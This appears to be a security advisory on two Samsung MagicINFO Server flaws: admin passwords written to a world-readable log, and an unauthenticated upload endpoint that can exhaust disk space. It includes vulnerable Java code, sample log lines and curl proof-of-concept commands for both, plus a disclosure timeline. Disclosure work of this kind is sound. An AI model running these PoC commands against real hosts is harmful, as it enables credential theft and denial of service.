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Samsung MagicINFO Server Multiple Vulnerabilities

High

Synopsis

MagicINFO User Credential Disclosure (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

NOTE: Samsung mentioned this item may have been fixed with version 21.1090.1, but we were unable to confirm as new MagicInfo versions were not made available to us. We no longer observe that version to be available, and thus are including this issue here.

When a MagicINFO user logs into the MagicInfoLayoutEditor web application via endpoint /MagicInfoLayoutEditor/main, com.samsung.magicinfo.webauthor2.webapi.controller.MISLoginController#postLogin in MagicInfoLayoutEditor.war is invoked to handle the login request:

@Controller
@RequestMapping({"/main"})
public class MISLoginController {
 private MISLoginService misLoginService;
 [...]
 @PostMapping
 public String postLogin(@RequestParam(required = false) String username, @RequestParam(required = false) String password, @RequestParam(required = false) String language, @RequestParam(required = false) String token, @RequestParam(required = false) String contentId, @RequestParam(required = false) String deviceType, @RequestParam(required = false) String deviceGroupId, @RequestParam(required = false) String deviceId, @RequestParam(required = false) String editType, HttpServletResponse response, Model model) {
   logger.info("Login controller params: username=" + username + " password=" + password + " token=" + token + " language " + language + " contentId " + contentId + " deviceType " + deviceType + " deviceGroupId " + deviceGroupId + " deviceId " + deviceId);
 [...]

As seen in the code above, user name and password are logged to a file, which is typically <MagicInfoInstallationDir>\tomcat\logs\magicinfo-layouteditor.log:

2025-10-13 16:33:36  INFO  c.s.m.w.w.c.MISLoginController:62 - Login controller params: username=admin password=Password432! token=null language null contentId null deviceType null deviceGroupId null deviceId null
2025-10-13 16:33:36  INFO  c.s.m.w.s.MISLoginServiceImpl:106 - loginToMIS: inspire token for user=admin with token=JDY5Mzk1MGU3YmUxZmQ5YmQkdA==
2025-10-13 16:33:36  DEBUG c.s.m.w.u.UserData:72 - clean user data: com.samsung.magicinfo.webauthor.util.UserData@16c7c2c0[userId=<null>,token=<null>,language=<null>]
2025-10-13 16:33:36  INFO  c.s.m.w.w.c.MISLoginController:115 - Accessed WebAuthor main page.

The magicinfo-layouteditor.log file is readable for the users in the Windows Users group. A local low-privileged Windows user can grab MagicINFO admin credentials to access the MagicINFO main webapp (/MagicInfo) with administrative privileges.

PoC:

- Run: curl -k -d 'username=admin&password=Password432!' 'https://<MagicInfoHost>:7002/MagicInfoLayoutEditor/main'
- Check: <MagicInfoInstallationDir>\tomcat\logs\magicinfo-layouteditor.log

Unauthenticated File Upload (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H)

An unauthenticated remote attacker can upload a large number of large files to <MagicInfoInstallationDir>\runtime\upload\contents_home\
on a MagicINFO host via URL endpoint /MagicInfo/servlet/ContentInfo. This can fill up the disk drive where the product is installed, potentially leading to DoS.

PoC:

echo 'test' > /tmp/test.txt
curl -k -F 'file1.ext=@/tmp/test.txt' 'https://<MagicInfoHost>:7002/MagicInfo/servlet/ContentInfo'
curl -k -F 'file2.ext=@/tmp/test.txt' 'https://<MagicInfoHost>:7002/MagicInfo/servlet/ContentInfo'
[...]

Solution

Upgrade to version 21.1091.1 or later.

Disclosure Timeline

October 22, 2025: Tenable sends security contact request to several Samsung email addresses.
October 27, 2025: Samsung replies with contact info.
November 3, 2025: Tenable sends second contact request.
November 4, 2025: Samsung replies that they have replied with contact info.
November 10, 2025: Samsung replies again asking about our disclosures.
November 24, 2025: Tenable notices that Samsung had replied several times already but were routed to spam. Tenable apologizes and sends the disclosure email.
November 26, 2025: Samsung acknowledges receipt. One issue is already fixed, one not yet fixed. Samsung asks if we can test the fixed issue.
December 8, 2025: Tenable tells Samsung that the fix version is not currently available for download on the download site.
December 9, 2025: Samsung points to a new path to download the file. Tenable responds that they are unable to download the file without a Samsung Business account.
January 28, 2026: Tenable asks Samsung for an update.
January 30, 2026: Samsung replies that they don't have an update yet. Tenable reminds Samsung or our public disclosure date. Tenable asks if they plan on making the newest version available on the public download site.
February 2, 2026: Samsung replies tha their policy has changed and new versions will only be available to partners.
February 25, 2026: Tenable inquires as to status and asks for CVEs assigned.
February 26, 2026: Tenable acknowledges that we can discuss more once date is sent.
February 27, 2026: Tenable requests patch release date.
March 3, 2026: Samsung advises they have released patch version 21.1091.1 to fix the issue and will advise CVE soon.
March 4, 2026: Tenable advises that we will publish our advisory today and requests CVE.

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